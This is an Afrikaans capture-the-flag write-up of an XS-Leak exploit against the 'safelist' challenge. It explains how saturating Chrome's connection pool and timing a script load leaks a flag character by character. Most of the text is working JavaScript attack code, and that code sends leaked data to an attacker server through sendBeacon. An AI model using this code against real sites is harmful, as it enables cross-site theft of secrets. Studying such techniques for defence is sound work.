Connection Pool by Destination Example
In hierdie uitbuiting, stel @terjanq nog 'n oplossing voor vir die uitdaging wat genoem word op die volgende bladsy:
pageConnection Pool by Destination ExampleKom ons kyk hoe hierdie uitbuiting werk:
Die aanvaller sal 'n nota inspuit met soveel
<img-etikette wat/js/purify.jslaai as moontlik (meer as 6 om die oorsprong te blokkeer).Dan sal die aanvaller die nota met indeks 1 verwyder.
Dan sal die aanvaller die bot die bladsy laat besoek met die oorblywende nota en sal 'n versoek stuur na
victim.com/js/purify.jswat hy sal tyd.As die tyd langer is, was die inspuiting in die nota wat oorgebly het, as die tyd laer is, was die vlag daarin.
Om eerlik te wees, terwyl ek die skripsie lees, het ek 'n deel gemis waar die aanvaller die bot die bladsy laat laai om die img-etikette te aktiveer, ek sien niks soortgelyks in die kode nie.
```html const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx"
let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() }
remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank"
let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() }
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = ${prefix}${letter} + Array.from(Array(78)).map((e,i)=><img/src=/js/purify.js?${i}>).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } };
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